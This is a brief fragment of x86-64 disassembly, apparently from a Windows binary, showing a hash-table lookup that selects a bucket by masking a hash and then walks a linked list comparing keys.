inc r10
imul r9, rcx
cmp r10, 8
jb 0x14002d820
mov rcx, qword [rbx + 0x30]
and rcx, r9
mov r9, qword [rbx + 0x18]
mov rax, rcx
add rax, rax
add rcx, rcx
mov rdx, qword [r9 + rax*8]
mov r10, qword [r9 + rcx*8]
cmp r10, qword [rbx + 8]
jne 0x14002d867
mov rax, qword [rbx + 8]
jmp 0x14002d86f
mov rax, qword [r9 + rcx*8 + 8]
mov rax, qword [rax]
cmp rdx, rax
je 0x14002d882
mov rax, qword [r8]
cmp qword [rdx + 0x10], rax
je 0x14002d886
mov rdx, qword [rdx]
jmp 0x14002d85b
mov rdx, qword [rbx + 8]
mov qword [r11], rdx
mov rax, r11
mov rbx, qword [rsp + 8]
ret